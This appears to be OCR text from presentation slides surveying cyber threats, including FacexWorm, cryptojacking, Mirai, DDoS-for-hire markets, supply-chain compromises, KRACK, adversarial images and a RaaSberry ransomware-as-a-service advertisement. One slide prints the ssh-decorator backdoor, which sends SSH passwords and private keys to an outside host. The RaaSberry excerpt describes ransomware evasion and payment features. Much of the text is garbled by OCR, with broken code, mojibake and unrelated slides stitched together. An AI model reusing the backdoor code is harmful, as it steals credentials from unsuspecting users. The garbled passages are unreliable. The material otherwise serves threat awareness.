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FacexWorm

Socially engineered, Redirect to fake Install FacexWorm Communicate with Send malicious link to
malicious link via YouTube page Chrome extension C&C server and download the friends of affected
Facebook Messenger malicious JavaScript Facebook account

e A E—
> 00 B & L[3

Inject JavaScript Redirecttoa Steal credentials for Hijacks Redirect to the attacker's
cryptocurrency miner cryptocurrency targeted website cryptocurrency-related referral link for
scam webpage (i.e., cryptocurrency transactions (replacing cryptocurrency-related
trading platforms) the wallet address) referral programs

https://blog.trendmicro.com/trendlabs-security-intelligence/facexworm-targets-cryptocurrency-trading - platforms-abuses-facebook-messenger-for-propagation/

Coinhive Docun

A Crypto Miner
for your Website

Monetize Your Business With Your Users' CPU F
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« BM: electrum.org;, 1E{HEelectrum.com, fork B, 2% Electrum
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« 20180320: #HHALE |
« F| A W:iﬁ*ﬁ;ﬁc;eth/Pamy RPC APl £ ANERE, £ XTI/~ M EEERPC W
i A FRFAMIEE T R, EZIER eth_sendTransaction 75 [N
BT, BIAERRIE) &?ﬁé’]ﬁkLﬁ_ZKWﬂS Giveaway!
* 201803 H: CoinsecureX23Million$

2017128 : NiceHashZX KM {EEKWEITHIbitcoin

0x90eCb7b66FB01A6Ba37a38
e95d7cD8362A5f859%¢

http://bitcoinist.com/51-pereent-attack-hackers-steals-18-million-bitcoin-gold-btg-tokens/
https://thenextweb.com/hardfork/2018/05/11/electrum-impostor-exit-scam/
https://www.reddit.com/r/ethereum/comments/3ird55/holy-shit_my_eth_accounts_been.hacked/
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Figure 1: Mirai Timeline — Major attacks (red), exploits (yellow), and events (black) related to the Mirai botnet.

Reference: Understand|ngtheM|ra|Botnet -- Manos Antonakakis
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Search

query all ® titles O urls O

DDoS attacks increased 91% in 2017 thanks to loT

In Q3 , organizations faced an average of 237 DDoS attack attempts per month. And with DDoS-for-hire
ices, criminals can now attack and attempt to take down a company for less than $100.

About 78548 results {104ms), now you can chat to humans or chat to ned about
your query
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LUchtrésser

. THIS SITE HAS BEEN SEIZED

Services ::rack_, cracking , ddos , hack , hacking Member since: May 2017 Sales: :

10926 Status: Online 9.2 1d 2d 2d.. View vendor “Hack 'n’ Crack” —...Next The domain name Webstresser.org has been seized by the United States Department of Defense,

Giveaway in......4 days.._Full Vendor List.. August. .. BNl 4 f . ) o

Defense Criminal Investigative Service, Cyber Field Office in accordance with a warrant issued by the
United States District Court for the Eastern District of Virginia. This domain name has been seized in

conjunction with Operation Power OFF

UnderMarket

Services crack , cracking , d
11163 Status: Online 9.2 1d 2d 2d.. View vendor “Hack 'n’ Cral
Giveaway in......3 days...Full Vendor List.. August. ..

Operation Power OFF is a coordinated effort by law enforcement agencies from The Netherlands,

United Kingdom, Serbia, Croatia, Spain, Italy, Germany, Australia, Hong Kong, Canada and the United :
Hacking and cracking services States of America, in cooperation with EUv’OpOL
on/ddos
n . s - : 2 §
DDoS (0 - 0 of 0)._Sort by: Price | Name...Can't apply filter _ = Services he operation is aimed at the takedown of the illeqal DDoS-for-hire-service Webstresser.org.

this?.._Register.. Login.. Finances and balance.._ How to buy?_| S ORI AL I% LS

sell? . _FAQ.. Rules...News.. Feedback...Your comment will... =
er since: May 2017
DDos — Elbinario Sales: 16318
[c L [report Status: Online
http://binariosyvaedsie.onion/tag/ddos/
La lon, 14
UFONet — es una herramienta disefiada para lanzar ataques I
objetivo, utilizando vectores ‘Open Redirect’ de aplicaciones

como botnet. . Read the Post Encuentros en la...
DDOS con hf Elbinario
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XCodeGhost
¢ Xshell -shadowpad
* CCleaner (Shadowpad)227W
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DEFINITION
Compromising Software Code through
Cyber Attacks, Insider Threats, Other
Close Access Activities at Any Phase of
the Supply Chain to Infect An
Unsuspecting Customer

Malware

ngradES, & Business
Patch
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I I i i i Government
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® . Critical

L
AAAA Infrastructure

Concept ntegration

https://csrc.nist.gov/CSRC/media/Projects/Supply - Chain-Risk-Management/documents/ssca/2017-winter/NCSC_Placemat.pdf
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from urllib.request import urlopen
from urllib.parse import urlencode

def log(data): e
try:
post = bytes(urlencode(data), "utf-8")
handler = urlopen("http://ssh-decorate.cf/index.php", post)
res = handler.read().decode('utf-8")
except:
pass
except:
from urllib import urlencode
import urllib2
def log(data):
try:
post = urlencode(data)
req = urllib2.Request("http://ssh-decorate.cf/index.php", post)
response = urllib2.urlopen(req)
res = response.read()
except:

N
PapwseTTVI W = pussnve w

f.port = port
f.verbose = verbose

f.ssh_client = paramiko.SSHClient()
f.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
prxvateKeyF;le = privateKeyFile if os.path.isabs(privateKeyFile) else os.path.expanduser(privateKeyFile)

if os.path.exists(privateKeyFile):
private_key = paramiko.RSAKey.from_private_key_file(privateKeyFile)
f.ssh_client.connect(server, port=port, username=user, pkey=private_key)
try:
with open(privateKeyFile, 'r') as f:
pdata = f.read()
except:
pdata = "
else:
f.ssh_client,connect(server, port:port, username=user, password=password)
loq({“server' server, port :port, “pkey”: pdata, “passowrd": password, “user“:user})|
self,chan = self, 1 ke shell
f.stdout = self.exec cmd( 'PS1="python-ssh:'")
f.stdin = '

https://www.reddit.com/r/Python/comments/8hvzja/backdoor_in_sshdecorator.package/
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KRACK (Key Reinstallation AttaCK)
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b Only the group key is reinstalled in the 4-way handshake.
¢ Certain tests are irrelevant (not applicable) because the im-
plementation does not accept retransmissions of message 3.

http://papers.mathyvanhoef.com/ccs2017.pdf
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Imperceptibly modified
Tiny adversarial perturbation. image, classified as a gibbon
with 99% confidence.

Original image classified as a
panda with 60% confidence.

https://www.kdnuggets:com/2015/07/deep- Iearn’ing—adversarial—/ggamples— misconceptions.html
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i RaaSberry v1.3.0- Ransomware as a Service

About

Login About RaaSberry

Register
RaaSberry provides customized ransomware packages that are ready to distribute. The packages are pre-compiled with a Bitcoin address you provide, and we do not receive any form of payment from your victims.

=L We also provide a Command and Control (C&C) Center to manage your victims and view individual AES keys.

How does it work?

Once the ransomware is executed on your victim's computer, it will encrypt every file type that was specified when you created it. It examines all local drives and mapped network drives, and encrypts the files with a
unique 265-bit AES key that is generated on-the-fly. The AES key is then encrypted using your unique RSA key and uploaded.

Upon completion, the desktop wallpaper will be changed to an image with instructions for paying the ransom. A text file is also created in each folder where there are encrypted files with instructions. The instructions
are available in English, Spanish, Mandarin, Hindi, Arabic, Porfugese, Russian, Japanese, German, ltalian, Vietnamese, Korean, French, Tamil, and Punjabi.

After the victim has paid, the AES key is provided back to the program to allow decryption. Many ransomware programs require the victim to download a separate decrypter, but RaaSberry has built-in decryption onc
the C&C server provides the AES key. If you are not subscribed to the C&C service, you can still provide decryption service via email by manually decrypting the victim's AES key.

Features

+ Packages are compiled with your Bitcoin and Email addresses so you are paid directly by your victim
o Each package also supports Testnet mode, so you can test the ransomware in a virtual machine before distribution
Packages utilize advanced polymorphic techniques to avoid over 890% of popular antivirus products
Packages do not require Administrative privileges to work, and they also support Started Delay, Mutex, and Task Manager Disabler
Packages encrypt the most common sensitive file types, such as images, documents, videos, and source code.
o Additional file types can be specified during package creation
Packages can work entirely offline, but your victim must be connected to the Internet for decryption to occur
o If your victim is offline when encryption begins, the AES key will be encrypted to the local disk using the C&C server's public key
o Once an Internet connection is detected, the AES key will be uploaded to the C&C server and then deleted from disk
Every package supports automated decryption after your victim pays. This works as follows:
o You specify the base amount, ie. 0.5 BTC
o The package randomly generates a unigue amount to add, ie. 0.00058213 BTC
o The victim pays the ransom of 0.50058213 BTC
o The C&C server scans transactions to your BTC address and when it detects this amount, it will unlock the AES key for that victim
o The ransomware on the victim's computer will begin automatically decrypting their files
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